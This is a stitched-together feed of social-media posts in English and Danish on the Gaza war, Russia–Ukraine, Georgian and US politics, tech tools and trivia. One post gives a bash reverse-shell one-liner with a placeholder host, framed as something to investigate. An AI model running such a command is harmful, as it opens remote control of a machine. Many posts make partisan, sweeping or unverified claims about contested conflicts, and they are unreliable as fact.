Jews suffered brutal oppression, persecution and ethnic cleansing from many Arab-Muslim countries including: Algeria, Jordan, Kuwait, Libya, Lebanon, Iraq, and Syria."
~ Liza Rosen @LizaRosen0000
Socialister siger ofte at børn af velhavende mennesker er født heldige, at de er kommet til verden i en bedre stilling end andre ved et kosmisk tilfælde. At de bare er født ind i en velhavende familie ved rent held.
Men held har intet med det at gøre, det er ikke tilfældigt.
Det er faktisk enormt vigtigt at forstå at livet ikke er en tilfældighed, at forældrenes succes ikke er resultatet af en tilfældighed, at det at de har fået børn ikke er resultatet af en tilfældighed.
Det drejer sig om at mennesker i livet har opbygget evner og derfor har forberedt sig på livets udfordringer. De evner de har opbygget, kombineret med deres vilje til at grib livets muligheder gør at de har gjort livet godt for dem selv og deres familie. Det har de gjort over generationer.
De har skabt deres eget held.
De har tilmed med vilje fået børn.
De børn er ikke født ind i en ressource stærk familie ved et tilfælde, de er født ind i den familie fordi forældrene har truffet valg, de har haft agens.
At sige at det er held og tilfældigheder, det er at fratage fortidens generationer deres agens, at se historien som alene tilfældigheder. Det er verden også fra tid til anden, men vi mennesker er altså i stand til at gøre vores bedste, vi kan forberede os og når mulighederne så melder sig, så kan vi, hvis vi har modet til det, gribe chancen for at forbedre vores livsvilkår og dermed vores børns og potentielle børnebørns liv.
Så til de unge mennesker derude, forbered jer, dygtiggør jer, arbejd hårdt, hav modet til at gøre det bedste i kan også når omstændighederne er udfordrende. I kan lære af det der udfordrer og i kan få muligheder ud af det. Det er jeres ansvar.
Til de ældre, sørg for at give jeres viden og jeres bedste sider videre til den næste generation, giv dem de værktøjer de skal bruge for at skabe deres eget held. Det er jeres ansvar.
Succes, eller hvad socialister kalder for held eller tilfældigheder, det er når forberedelse møder muligheder. Hvilket resulterer i det helt enorme potentiale som mennesker besidder. At hver generation de sidste mange hundrede år reelt har været rigere, dygtigere og har haft bedre liv end de forrige generationer kommer af det ansvar, men også af at mennesker har haft friheden til det. For de samfund hvor man har ødelagt familien, bekæmpet denne overdragelse af velstand og viden i hammeren og seglets navn, der har man set fattigdom, død og ødelæggelse som følge. Man har ikke set velstand og viden udvikle sig.
Derfor er det også en uretfærdighed at arv beskattes hårdt, både for fattige og for rige. For det er ikke held der gør at forfædrene har plantet træer som børnebørnene kan sidde i skyggen af. Det er fordi vores forfædre faktisk bekymrede sig om de kommende generationer. Ligesom at de nuværende generationer bør tænke på de kommende generationer. Det gør vi ikke ved at pakke vores børn ind i vat, det gør vi heller ikke ved at straffe dem og den arv de skal have.
#dkpol
@dvassallo @ekurutepe Google "eCannonball through Germany in 2019". It was tried before, in Germany no less, the optimal speed for long distance drive with Tesla incl. charging was 190km/h.
Today I'm open sourcing Nerve, a tool that allows creating stateful agents with any LLM of your choice - without writing a single line of code. The tool provides to the model a framework of functionalities for planning, saving or recalling memories, etc (you can think about it as a "standard library" of functions for the LLM to use) by dynamically adapting the prompt and making it stateful over multiple inferences. The model will be able to access and use these functionalities in order to accomplish the task you provided.
https://t.co/c5PfBNsbjZ
One of my favorite reverse shells for Linux is this:
bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1
It's simple and works on just about every Linux system without elaborate payloads. Let's discuss how to investigate it. https://t.co/wXW5B3poCB
There's a truly comforting sociopathy snuggled inside capitalism ideology: if markets are systems for identifying and rewarding virtue, ability and value, then anyone who's failing in the system is actually *unworthy*, not unlucky.
1/ https://t.co/gXWsVoh8fK
Crystal clear water.
Cala Luna, in the Gulf of Orosei, is one of the most scenic beaches on the eastern coast of Sardinia.
[📹 mimmomandrone]
https://t.co/FynpwT0OGT
First Adobe changed their Terms to give themselves a permanent license to any content you produce using their software.
Then they pretended it was a misunderstanding.
Then Adobe gaslit people who pointed out that they are full of BS.
Then they put out damage limitation statements that mean nothing.
I have cancelled Adobe and so should you if you are a creator who has a backbone.
Here is what I have done:
1. Premiere Pro -> Davinci Resolve
This is an upgrade. The software is less clunky and actually works better.
Integration with hardware is better.
No licences. No monthly payments.
I bought the Speed Editor Keyboard that comes with a Resolve license - absolute bargain of a deal.
2. Photoshop -> Affinity Photo
This is also an upgrade. After an hour of getting used to it, Affinity software actually works better.
Image editing and my YouTube workflow are better.
3. Illustrator -> Affinity Designer
Same as above - actually very good software.
***
In the last few years Adobe’s competitors have caught up with and overtaken Adobe.
I was blind to how good the alternatives have become, using Adobe stuff because I was a creature of habit.
Would very strongly recommend trying the alternatives out.
You might surprise yourself… And save a boatload of cash.
A team of undercover soldiers (including several women dressed in hijabs and long black dresses) was sent into the Nuseirat refugee camp. Pretending to be two Gazan families looking for a large house in Nuseirat, they arrived in two cheap-looking old cars loaded with domestic items characteristic of those families displaced in the Strip, such as mattresses and clothing identical to those of the locals.
When the residents of the Nuseirat camp asked the undercovers where they came from and what they were looking to do in Nuseirat, they replied that they had fled from Rafah due to "deadly shelling from the Israeli army", and decided to rent a house in the area. Then they pointed to the building where Noa Argamani was being held. They showed one of the locals a large amount of cash and offered to pay three times the going rate for rent. The local agreed to help and within three hours found a large house on the very street where Argamani was held. This was only 800 metres away from where the other three hostages were held.
A few days later, after settling into the house and getting to know the area, including shopping at the local market, and realising that they did not arouse suspicion, the undercovers began their mission: verifying the location where the hostages were held. They split into two teams. One team consisted of two commandos, a man dressed as a typical Gazan local and a woman dressed in a long black dress and hijab. They began marching down the street towards the Al-Auda medical centre where, in a nearby residential building 200 metres from the hospital, Noa Argamani was held…
Today the @JewishChron publishes probably the fullest account of the daring hostage rescue to date, including new insider information, from @Elonperry. Read in full:
https://t.co/rTdlozWVam
Med afsæt i dette tweet fra en af X's største misinformatører.
Så følger her en tråd om hvad vi ved i relation til antal dræbte ved Israels befrielsesaktion i Nuseirat.
🧵👇
Using image recognition tools, public records and interviews with Ukrainian officials and the children’s relatives, a Financial Times investigation has identified and located four Ukrainian children on the Russian government-linked adoption website https://t.co/Pyrq2OO15M https://t.co/Db7HEXT83i
A YC batch-mate was quoted 16k from a consultant for a custom AI invoice processor
Their intern built it in 2 hours on Gumloop
GPT-4o now:
-Analyzes any receipt sent to their Gmail
-Extracts vendor + amount
-Categorizes it
-Adds it to their Notion DB
-Texts their finance admin https://t.co/TIfAEPKWey
This is an amazing article on how Viktor Orban wins elections. Highly recommended for anyone interested in how autocrats-in-making cling to power, beyond Hungary too. The techniques are universal. This is a must-read in my syllabus.
https://t.co/1MDUmHk4Mr
Her er historien der afslører motiverne i Israel/Hamas-krigen. Og dermed også hvilken katastrofal galej propalæstina-kræfterne i Vesten er lokket ud på.
Hamas-lederen siger på lækkede optagelser, at Hamas har Israel præcis hvor man ønsker det, og at de civile døde i Gaza i den forbindelse er et nødvendigt offer - et redskab. Det er en rå kalkulation: Gazas civile dræbte er vejen til Hamas’ store sejr.
Det vender jo potentielt alt i den konflikt. Hamas indrømmer nu bevidst at have kastet sin egen befolkning i døden. Og med terrorangrebet 7. oktober som afsæt at bruge Israel som hjælper til at nå det mål.
Hvornår fatter vi, hvad der reelt er sket? Måske nu.
https://t.co/k4KiMuxmI2
https://t.co/8XZj4kdz5e
🚨 WILD: Was a journalist working for the US-bazed 501(c)(3) organization, The Palestine Chronicle, helping hold Israelis hostage in Gaza? https://t.co/UhZLjsgYf6
Think about this. The 4 hostages rescued today were held in regular civilian buildings in Nuseirat, Central Gaza.
For months, they claimed Israel is indiscriminately bombing Gaza, and people have nowhere left to go. If that were true, shouldn't these hostages be dead by now?
Also, Nuseirat is designated as a REFUGEE CAMP. The population consists of people who are promised that one day they will move to what is now Israel, ideally after destroying Israel.
When a place like this gets hit, they immediately complain that Israel "attacked a refugee camp." There is just one problem:
Hamas put the hostages inside a "refugee camp" and thereby turned it into a legitimate target for military operations.
It's finally possible: real-time in-browser speech recognition with OpenAI Whisper! 🤯 The model runs fully on-device using Transformers.js and ONNX Runtime Web, and supports multilingual transcription across 100 different languages! 🔥
Check out the demo (+ source code)! 👇
In recent years, a former Soviet intelligence agent has alleged that Czech intelligence files on Donald and Ivana Trump were also shared with the KGB in the ‘70s and ‘80s. https://t.co/Ut2Q6UZBch
#Fresh #DemsUnited #ProudBlueEditorials 🧵
RIGGED is Trumps favorite word. So I will use it here.
The only election Trump ever won was the 2016 election.
We accepted - with gritted teeth- the results of 2016 election. Looking back now at what happened - we see so much more - see what lengths Trump was willing to go to win.
🇬🇪 Since 2012, Georgian Dream, led by billionaire Bidzina Ivanishvili, has been accused of using undemocratic tactics to stay in power.
With the October 2024 elections approaching, their manipulative strategies are in full swing.
🧵Here’s how they’re doing it ...
1/24 https://t.co/2VCaEb5CRV
Jeg har aldrig før delt en ordførertale fra et andet parti. Men i går holdte Sjúrður Skaale den vigtigste og bedste tale, som jeg har hørt i min tid som folketingsmedlem.
Hør den - del den! https://t.co/2FF5VV6Ajk
NVIDIA CEO Jensen Huang: “I really discourage 1-on-1s”
Jensen famously has 60 direct reports. When Stripe founder Patrick Collison points out that this isn’t conventionally considered best practice, Jensen shares his reasoning:
“I don’t do 1-on-1s, and almost everything I say, I say to everybody all the time. I don’t really believe there’s any information that I operate on that only one or two people should hear about… I believe that when you give everybody equal access to information, that empowers people. And so that’s number one… Number two, if the CEO’s direct staff is 60 people, the number of layers you’ve removed in a company is probably something like seven.”
Patrick offers to steal man the other side of the argument:
“1-on-1s are where you provide coaching, where you maybe talk through personal goals and career advancement, where maybe you give feedback on something that you see somebody systematically not doing so well… Do you not do those things or do you do them in a different way?”
Jensen responds:
“I give you feedback right there in front of everybody. In fact, this is a really big deal. First of all, feedback is learning. For what reason are you the only person who should learn this?… We should all learn from that opportunity… Half the time I’m not right, but for me to reason through it in front of everybody helps everybody learn how to reason through it. The problem I have with 1-on-1s and taking feedback aside is you deprive a whole bunch of people that same learning. Learning from other people’s mistakes is the best way to learn.”
Video Source: @stripe
RU shall lose dead&wounded ~30-35 thousand a month if West wants to see frontline stabilised and RU to face dilemmas as to whether engage recruits from major urban areas. Currently even losing ~24K a month dead&wounded RU can slowly increase number of troops compensating loses.
I want people to pay a great deal of attention to this development for two reasons.
1. It confirms UK intelligence was right about China's providing weapons to Russia.
2. It confirms @JakeSullivan46 knowingly lied about that UK intelligence.
Chinese weapons to Russia🧵
1/
NATO wants Ukraine to strike deep in Russia. This policy change is long overdue. Unfortunately, it is the US who decides, not NATO.
The same appears to be true with admission of Ukraine into NATO. The next NATO meeting is coming, but has the US changed its view that admitting Ukraine, even if on a delayed schedule, would cause escalation with Russia?
Der er så meget forkert i det du påstår her Pelle.
1. At kapitalfonde ligger på Jersey eller Luxenborg giver ikke nødvendigvis skattefrihed. I det her tilfælde har virksomheden faktisk tegnet en skatteaftale med Danmark. Denne aftale sikrer transparens og at Danmark eller de lande hvor Lagkagehuset opererer kan beskatte virksomheden af den profit den laver der.
2. Man placerer ejerskabet på sådanne lokationer fordi man har datterselskaber på lande som ikke har beskatningsaftaler. Lagkagehuset har bl.a. i Danmark og USA, - og dermed ville blive dobbeltbeskattet hvis man ikke placere hovedselskabet sådanne steder. Man bliver altså beskattet 2 gange af de samme penge. Det er helt normalt. Eksempelvis ligger EIF, EU’s egen investeringsfond i Luxenborg. Præcist af den årsag.
3. Lagkagehuset har haft underskud i de sidste 6 år. Virksomheder med underskud, skal ikke svare skat, for skat skal jo betales af penge man tjener, ikke taber. Men faktisk har Lagkagehuset investereret i arbejdspladser, nye butikker i Danmark. En HEL masse dejlige skattekroner er der kommet ud af det.
4. Sælger ejerne virksomheden Lagkagehuset videre og skaber profit, så udloddes profitten til kapitalfondenes investorer. Det kunne være pensionsselskaberne eller privatinvestorer. Bor eller opererer denne investor i Danmark, så skal der svares udbytteskat. I Danmark. Det kan man ikke komme uden om, uanset hvor selskabet ligger.
5. Ved salg, går der sikkert også nogle penge til de ansatte i kapitalfondene. De skal også svare skat. Bor de her i Danmark, er det enten indkomst eller udbytteskat, afhængig af deres ansættelsesforhold. Det skal man fordi man bor i landet, ligesom de der bor i Stockholm skal betale i Sverige osv.
Så kan du ikke forklare mig helt præcist hvad det er der gør Lagkagehuset til en virksomhed der udnytter skattely?
Jeg syntes det er grimt det du prøver at tegne her Pelle. Enten skyldes det uvidenhed eller også er det bevidst. Hvis det er bevidst, så er det fordi du mener at dine vælgere er dumme.
Jeg håber bare det er uvidenhed…
Don't use Sci-Hub — it's a "controversial" website with 84M+ research papers freely available.
We should try to make billion-dollar academic publishers richer.
Here's an updated thread on integrating Sci-Hub with Zotero to get free papers.
Please don't do this😉
🧵1/24 18th of May marks the 80th anniversary & Commemoration of the mass Deportation of the Crimean Tatars: The Sürgünlik
Labeled as one of history’s least known, but most traumatic genocides.
And exactly why it makes it all the more important for everyone learn this history⤵️ https://t.co/trB85L7yrE
⚡Mediazona confirms identities of over 52,700 Russian soldiers killed in Ukraine.
Since Mediazona's last update in late April, the names of 1,100 Russian soldiers have been added to the list of casualties.
https://t.co/VTgbzkEo15
(THREAD) It’s important that everyone RETWEET this thread. As some of you know, Elon Musk has been on a deranged tear trying to destroy one of the most reliable news sources in the world, REUTERS. The recent reports in this thread are the ones Musk doesn’t want *anyone* to share. https://t.co/6bWGtOZuku
See:
Translated from Russian by Google
"The Russian Grad MLRS fires into the Kharkov region directly from the road after a traffic jam of civilian vehicles and even an ambulance. Belgorod region. What about “they are hiding behind civilians”, what will the Z-channels say?"
1/
‼️ THIS!
The methods used by Russian propaganda described by a Russian journalist:
“I studied at the Faculty of Journalism of Moscow State University. We had a military department. In an atmosphere of secrecy, we were taught special combat propaganda - the art of sowing discord in the ranks of the enemy with the help of disinformation and manipulation of consciousness.
Let me tell you, it’s a scary business. I'm not kidding.
Combat, or “black,” propaganda allows any distortion of real facts to solve propaganda problems. This is an effective weapon used for the sole purpose of knocking out the enemy’s brains.
The "rotten herring" method. The "inverted pyramid" method. The "big lie" method. The “40 to 60” principle. The "absolutely obvious" method.
You also know all these methods and techniques. You just don't realize it. As intended.
We were taught to use special propaganda techniques against soldiers of the enemy army. Today they are used against the civilian population of our own country.
For two years now, reading Russian newspapers or watching television shows, I have noted with interest that people coordinating the distribution and interpretation of news in Russia clearly learned from the same textbook as I have, from the same cheerful colonel or his colleagues.
For example, the “rotten herring” method. It works like this. A false accusation is chosen. It is important that it is as dirty and scandalous as possible. For example, petty theft, child molestation, or murder, preferably out of greed work well.
The purpose of the “rotten herring” is not to prove the accusation. It’s to cause a wide, public discussion... How it’s unjust and unfair.
The human psyche is arranged in such a way that, as soon as the accusation becomes the subject of public discussion, its “supporters” and “opponents”, “experts”, rabid “prosecutors” and ardent “defenders” of the accused inevitably arise.
But regardless of their views, all participants in the discussion again and again pronounce the name of the accused in connection with a dirty and scandalous accusation, thus rubbing more and more “rotten herring” into his “clothes”, until finally the “smell” begins to follow him everywhere. The question “killed-stole-seduced or not” becomes the main one when his name is mentioned.
Or, for example, the “40 to 60” method invented by Goebbels. It consists in creating media that give 60 percent of their information in the interests of the enemy. On the other hand, having earned his trust in this way, the remaining 40 percent are used for extremely effective, thanks to this trust, disinformation.
During World War II, there was a radio station that the anti-fascist world listened to. It was thought to be British. Only after the war did it turn out that it was actually Goebbels’ radio station, which worked on the “40 to 60” principle he developed.
The “big lie” method is very effective It is a bit like the “rotten herring” method, but actually works differently. Its essence is to offer the audience such a universal and terrible lie with the highest degree of confidence that it is almost impossible to believe that it's possible to lie about such a thing.
The trick here is that a properly composed and well-invented ‘big lie’ causes such a deep emotional trauma in the listener or viewer that it then determines his views for a long time, contrary to any arguments of logic and reason.
False descriptions of cruel abuse of children or women work particularly well.
Let’s say that the message about a crucified child due to the deep emotional trauma it causes will determine the views of the person who received this information for a long time, no matter how much someone tries to convince him later, using logical arguments.
But our cheerful colonel especially revered the method of “absolute evidence”, which delivers, although not fast, but reliable results.”
Continued below 🔽
The arrest of Timur Ivanov turned out to be only the beginning of a purge in the Russian leadership. The head of the Main Personnel Directorate of the Ministry of Defense of the Russian Federation, Yuri Kuznetsov, was arrested on charges of corruption. Kuznetsov was
1/15 https://t.co/07UvozwDFq
A hill I'll die on:
95% of entrepreneurs should forget about technology (a few big fish and a lot of sophisticated fishermen) and focus on small business (small fish everywhere and really crappy fishermen).
A THREAD...
PEOPLE’S EXHIBIT 260 - TEXTS BETWEEN COHEN AND MAGGIE HABERMAN OF NYT (2/13/18)
HOFFINGER: Who is Maggie Haberman?
COHEN: She is a reporter for the New York Times.
FROM MC TO MH: Big boss just approved me responding to complaint and statement. Please start writing and I will call you soon
BREAKING: Michael Cohen confirms Trump-Russia collusion during the 2016 presidential campaign in the form of ongoing clandestine negotiation with the Kremlin over what would've been the most lucrative business deal in Trump's life—coupled with lies to voters and Congress about it https://t.co/SQOPcTzbgN
Det er alligevel imponerende at lave et 16 minutter indslag i bedste sendetid om hvor fantastisk et medie Al Jazeera er, under overskriften: “Introducerede kritisk journalistik”
Selvfølgelig ikke et ord om at Qatar, der ejer Al Jazeera, både huserer Hamas lederskab og også støtter terrorgruppen finansielt. Heller ikke et ord om at landet driver moderne slaveri. Et af de mest groteske lande i verden hvad angår menneskerettigheder.
Det oplagte spørgsmål ville jo være at spørge om man ville tage DR seriøst, hvis den danske stat samtidig støttede Islamisk Stat finansielt, og at deres lederskab var indlogeret på D’Anglaterre på statens regning?
Man skal i stedet forstå, på gæsterne i studiet, at Al Jazeera laver “vigtig dækning” - at det er en “professionel og pluralistisk” kanal der giver plads til mange forskellige stemme. Mere virkelighedsfjernt bliver det ikke.
Al Jazeera har for alvor under Israel-Hamas krigen vist sig at være et propaganda medie, der ufiltreret sender Hamas information ud til deres seere. Al Jazeera laver netop ikke kritisk journalistik, specielt ikke om Hamas inde i Gaza, som de ellers har en unik mulighed for, eftersom at de er til stede. Til gengæld har specielt den arabiske kanal promoveret antisemitisme og Holocaust benægtelse i årevis.
Men godt at Hr. og Fru. Danmark nu kan sidde tilbage med et indtryk af at Al Jazeera bare er et fantastisk kritisk medie. Pinligt.
Ukraine and Russia were close to a peace deal in spring 2022 but Ukraine rejected it?
This is one of the favorite lies promoted by Russia and its sympathisers to shift the focus… and blame.
However, a closer look at the facts reveals that the whole story does not hold water. https://t.co/uaWh8pTdIS
(THREAD) This is a live thread of the testimony of Michael Cohen in Donald Trump’s criminal trial. Its author is a NYT-bestselling Trump biographer and former criminal defense attorney. I’ll not only be covering the testimony live but adding essential background.
Please RETWEET. https://t.co/7WMGQoszkT
Who is Nikolai Patrushev (Snr)?
A deep dive and potted history..
Nikolai Patrushev, a Kremlin hawk, career intelligence officer and close associate of the Russian president. Patrushev belongs to the siloviki of Putin's inner circle. Patrushev, is the "most dangerous man in Russia" because of his "paranoid conspiracy-driven mindset."
He is one of Russian President Vladimir Putin’s closest advisers and wields considerable influence on government policy as the head of the powerful Security Council of Russia.
The council is where Russia’s security policy is formulated, and it is the center where intelligence from Russian sources and networks from abroad are received.
Patrushev is the one who interprets that intelligence. Patrushev often gives interviews to state-owned media about his conspiratorial views of the West and what the Kremlin describes as Russia’s “special military operation” in Ukraine.
👉 His views on colour revolutions, threats that worry Moscow the most and UKRAINE.
Per the Guardian interview in 2015:
“Colour revolutions are another form of destabilisation that represent an equally serious threat – the latest iteration of which occurred in Ukraine.
It is clear that behind the campaign to destabilise Ukraine lies an attempt to manufacture an instrument with which to weaken Russia dramatically. It was with this aim in mind that the preconditions were created in Ukraine for maintaining constant tension, further developing extreme forms of nationalism and sabotaging the Minsk agreements. At the same time, the task of keeping EU member states on a short leash was fulfilled: anti-Russian sanctions and positions are imposed upon them in disregard of their [own] opinions and national interests.
“You have to look at events objectively. The US are trying to prove that Russia is party to the conflict in Ukraine, but that is not the case. Moreover, the US themselves started the conflict in Ukraine.”
In August 2021, during the withdrawal of US troops from Afghanistan, Patrushev told Izvestia newspaper that the United States had abandoned its Afghan allies, and that the reason was the incompetent work of the intelligence services of the United States, Britain and other NATO countries and the misplaced belief of the West in the correctness of its decisions. He predicted that the United States would also abandon its allies in Ukraine:
"...Kyiv is obsequiously serving the interests of its overseas patrons, striving to get into NATO. But was the ousted pro-American regime in Kabul saved by the fact that Afghanistan had the status of a principal U.S. ally outside NATO? (No). A similar situation awaits supporters of the American choice in Ukraine."
In early November 2021, CIA Director William Burns and U.S. Ambassador to Russia John Sullivan met in Moscow with Patrushev and informed him that they knew about Russia's invasion plans. Burns warned that if Putin proceeded down this path, the West would respond with severe consequences for Russia. Sullivan recounted that Patrushev was undeterred and "supremely confident" that the invasion was going to succeed. However, in late January 2022, just before the invasion, Patrushev publicly denied that Russia was prepared to attack Ukraine.
On April 26, 2022, Patrushev gave an interview to the state Russian newspaper “Rossiskaya gazeta. He began with his favorite topic – the evil intentions of the West in general and the United States in particular. Patrushev said that while other countries are intimidated by the U.S. and "can’t even raise their heads,” Russia has “not only dared, but publicly declared that it would not play by the imposed rules” of the U.S.
1/9
Next 👉 Wild theories on human organ trade in Ukraine..
As a reminder, Robert Malley, who was Obama’s top Middle East advisor and responsible for negotiating his nuclear deal with Iran
Who was also Biden’s top negotiator with Iran
Who stole classified documents which were then given away
Had Yasser Arafat as his unofficial godfather
1. In a 2022 interview with @NicolleDWallace, former CIA Officer @tracy_walder expressed concern that the documents unlawfully retained by former President Donald Trump could be linked to the deaths of CIA informants overseas. What caused her concern? The known timeline. 1/10 https://t.co/6eb1N9e6pN
Clearly @vkhosla can profit financially from a closed approach to AI.
But I don't think that his main reason to oppose open source frontier models.
He is genuinely worried about China getting its hands on it.
That worry is misguided.
First, Chinese AI scientists and engineers are quite talented, and very much able to "fast follow" the West and innovate themselves (there are lots of good ideas from Chinese publications that make the whole community advance).
Second, the Chinese government is even *more* worried about a lack of control of AI technology than their counterparts in liberal democracies.
Imagine a future where every citizen's digital diet is mediated by AI assistants. This will clearly affect people's knowledge and opinions of politics, history, value systems, etc.
AI assistants are fast becoming a kind of compressed repository of all human knowledge.
Once such assistants are available for download and can be run locally, the Great Firewall of China is toast.
The control of authoritarian governments over the information received by their citizens will be considerably more difficult to enforce.
A future in which everyone has access to a wide variety of AI assistants with a diverse collection of expertise, language ability, culture, value systems, political opinions, and interpretations of history is the future we want.
That future can *only* come about through open source AI platforms enabling a large diversity of fine-tuned systems.
A devastating account by @DeutscheWelle of how under 🇷🇺 influence Deutsche Bank became a bank for putin, mafia & terrorists…
While the West thought it was changing russia, russia was changing the West…
#RussiaIsANaziMafia #StandWithUkraine
https://t.co/H7jd9yeS3a https://t.co/42engragzx
That mafioso hire mafioso to do their dirty (and wet) work seems to have come as a genuine surprise to Western leaders and their intelligence agencies.
Moscow hiring gangsters to sabotage Western factories helping Ukraine? https://t.co/2dNQKuMMZk via @MailOnline
Actual transcript from Trump's speech just now:
"Silence of the Lambs. Has anyone ever seen The Silence of the Lambs? The late, great Hannibal Lecter is a wonderful man. He oftentimes would have a friend for dinner. Remember the last scene? "Excuse me. I'm about to have a friend for dinner," as this poor doctor walked by. "I'm about to have a friend for dinner." But Hannibal Lecter. Congratulations. The late, great Hannibal Lecter..."
I wonder how many protesters know the history of the region they are protesting about?
This reminder from Hillary Clinton is worth sharing:
23 years ago, under Bill Clinton, Israelis and Palestinians negotiated a two-state solution, but Palestinian leader Yasser Arafat turned it down for fear of assassination.
"Khamenei's granddaughter is in New York, wearing a dress. Protesters are calling her out: “Look at what Khamenei's granddaughter is wearing while our daughters are being killed because of the hijab in Iran."
Every mullah and their relatives are damn filthy hypocrites."
~ @NiohBerg
Putins interests are about finance . A partnership in trade with China . The Belt and road . It’s worth trillions to him if he has the resources and corridors to trade. Ukraine is in the middle road . The proposed route goes through Turkey and ODESA with road and rail up to Moscow and accross to Hungary. Putin is prepared to sacrifice millions of lives to secure trillions of dollars .
The IDF are conducting another assault in the North of Gaza, around Jabalia (see @2023gazawar’s excellent map, below). Critics are asking why the IDF are repeatedly going into areas they have already cleared and claiming this is a flaw in operational design. These critics have totally misunderstood what Israel is trying to do. Here’s what I think:
The answer is simple: the IDF have absolutely no intention of using the clear / hold / build counterinsurgency tactics the West tried in Afghanistan. Why would they? Those tactics were a disaster in Afghanistan.
The flaw in Western analysis is always the same: “we wouldn’t do it that way”. See Russia in Ukraine for another example of another country catching out Western analysts (me included).
If you look at what’s possible, what the best version of “success” looks like, and what Israel are doing… I put it to you that in Gaza we are seeing a masterpiece of operational design.
Ignore the “destroy Hamas” political rhetoric. The IDF are not *trying* to clear Gaza.
So what are they doing? What’s possible? Any kind of political solution? Definitely not. No-one on the international stage has expressed any interest in helping with governance in Gaza. According to polling, 2% of Gazans support an Israeli-backed administration. The majority want Hamas back. Israel’s solution? Let them have Hamas.
But the version of Hamas they’ll get is one heavily degraded militarily, but most importantly, with vast swathes of their tunnels and civilian-embedded infrastructure destroyed.
“Never again is now” isn’t just an empty slogan. Israeli operational design isn’t built around destroying Hamas, or regime change, or political change in Gaza. Those things aren’t possible. The operation is built around making sure 7th October can never happen again. Absent the possibility of any enduring political solution, that’s what success for them looks like for Israel.
Israel have methodically razed what civilian-embedded Hamas infrastructure they could find in Gaza City, Khan Younis, and now Rafah.
They have secured the Netzarim corridor (middle of the map) to control freedom of movement from South to North. It looks like they are trying to do the same thing along the Philadelphi corridor and Gaza’s southern border with Egypt, to cut off the inflow of weapons and supplies to Hamas (see the blue, bottom right corner of the map as the IDF break in to Rafah).
Facial recognition software in controlled areas allows the IDF to stop known Hamas commanders moving around. This also allows the IDF to strike as and when concentrations of Hamas are identified, to degrade their manpower, then withdraw again (see the Shifa hospital operation and the current Jabalia operation).
At the same time they have destroyed buildings to create a 1km buffer zone around the Gaza border. This will prevent any repeat of 7 October. Nobody in Gaza is getting anywhere near the border.
The operational end state here is significant infrastructure destroyed, Hamas fighting capability degraded, and the border secure; with the IDF retaining the capability to strike into Gaza at will. All whilst shifting hundreds of thousands of civilians out of harm’s way and minimising innocent casualties (Hamas’ human shield tactics aside).
The downsides: the destruction of Hamas-infested civil infrastructure has caused enormous damage. Urban warfare always comes with civilian casualties. The Egyptians look very twitchy about Israeli control of the Southern border. This isn’t a long-term political solution. The destruction has, of course, drawn huge international condemnation. Failure to communicate the plan has damaged Israel’s international standing, and they have been crushed in the global information war for the narrative. But: none of these are show-stoppers yet, strategically speaking.
Debate the morality in the comments. But, militarily, this is quite brilliant operational design within the bounds of what was realistically possible.
🇬🇪Georgian Dream tried to scare, beat, threaten, ridicule, and demonize Georgian activists who do not want Georgia to be drawn into the Russian sphere. Georgia is Europe! 🇪🇺
A LIVE thread 🧵folowing the biggest F**k YOU from the Georgian people to Georgian Dream ...
#TbilisiProtests #NoToRussianLaw #GeorgiaProtests
About the russian orthodox church. Some Americans do not understand what kind of church it is. They just know that it’s “Christian” and it triggers them. Let me explain…
1/n https://t.co/XYDmtVePCv
Like Oscar Wilde, "I can resist anything except temptation," and my slow and halting journey to adulthood is really just me grappling with this fact, getting temptation out of my way before I can yield to it.
1/ https://t.co/ulmaoqMpbD
“There are no ‘Palestinian’ people. There are conflicted tribes, and without Israel as the common enemy, they would kill each other”
Son of Hamas leader
https://t.co/1YyZXZHYBw
The uncertainty principle is a mathematical property of conjugate variables and their wave-like nature rather than anything regarding physical measurements.
Conjugate variables are related to each other via Fourier transform, the mechanics of which mean that as a function is more localized in one variable (say position), it is more spread out in the conjugate variable (momentum).
InGromov’s non-squeezing theorem (little known among physicists), shows that even classical systems can exhibit an uncertainty principle in intricate ways.
It’s no secret that LLM training data is running out. How close are we to the limit? To answer that, here's an estimate of the total amount of text in the world from every major source:
🧵Major change in Gaza fatality report by UN: They now publish only identified fatalities admitting large number are made up by Hamas. Women & children half the “14,000 kids” killed often claim. Now 24,700 fatalities identified and >14,000 are combatants according to IDF. 1/3
RFK Jr’s ‘history lesson’ on Russia’s is Russian propaganda (the WP)
All arguments are false
1. NATO non-expansion promise
2. The U.S.'s overthrow of Ukrainian govt in 2014
3. The U.S. forcing Zelensky to drop out from Putin's peace deal
1/
https://t.co/rWulJm1iTd https://t.co/7vGObsHTFz
Things have been developing quickly over the past 2-3 weeks in Georgia, but in the last couple of days, they have progressed at an unimaginable speed. The ruling Georgian Dream party has employed various tactics targeting civil society, escalating to an extreme level. 1/6
Nikki Haley suspended her campaign TWO MONTHS ago. Yet, yesterday in Indiana, a state she NEVER campaigned or advertised in, she received 21.9% of the GOP vote - 122,000 people voted for her.
This is hard data. Like special elections.
Conversely - what we get in political polls, are emotionalized responses, flawed methodologies, ignored demographics, tiny sample sizes, poorly constructed inquiries, systemic irregularities, and huge error margins. Polls are merely media talking points.
Pay attention to the hard data.
John Spencer, expert in urban warfare, explains to Sam Harris what was unique about the October 7 footage. First, Hamas members were absolutely euophoric as they were going off to rape and murder. As someone who has led men into battle, he tells us that “this is not normal”.
Most striking was the reaction to the sound of a young boy moaning to death. In a normal battlefield situation, even when there is an enemy combatant, there is usually an instinct to render aid. Here, a boy’s eyes were gone, his father just killed, and the Hamas fighter nonchalantly goes and grabs a beverage from the refrigerator.
This war has clarified so much for me. I keep talking about why Hamas is worse than Nazis, and the moral culpability of Palestinian civilians. People don’t like these opinions. They still remain true. If you have a position on this conflict other than “Israel keeps going until Hamas is destroyed” you have failed one of the great moral tests of our time.
When bananas ripen, their stems release ethylene gas, and when it spreads to the rest of the fruit, it will quickly cause the fruit to rot.
That's why the plastic wrap around the stem keeps the ethylene gas contained so the bananas stay safe.
https://t.co/nebiEmZar5
"Rouketopolemos," which translates to "rocket war." It takes place between two rival churches, Agios Markos and Panagia Erithiani, in the village of Vrontados on the Greek island of Chios. Each church tries to hit the other's bell tower with rockets during the Easter weekend festivities. While it's a unique and centuries-old tradition, it has also raised safety concerns and led to occasional accidents.
What has sometimes been described "largest shipwreck in the Western Hemisphere" is in the United States, but perhaps not where you think.
It is not off the coast of the Carolinas, or Florida, though. It instead sits roughly 30 miles south of Washington D.C.
It is the "Ghost Fleet of the Potomac" at Mallows Bay.
Short 🧵1/
3. Flappy Bird in one prompt
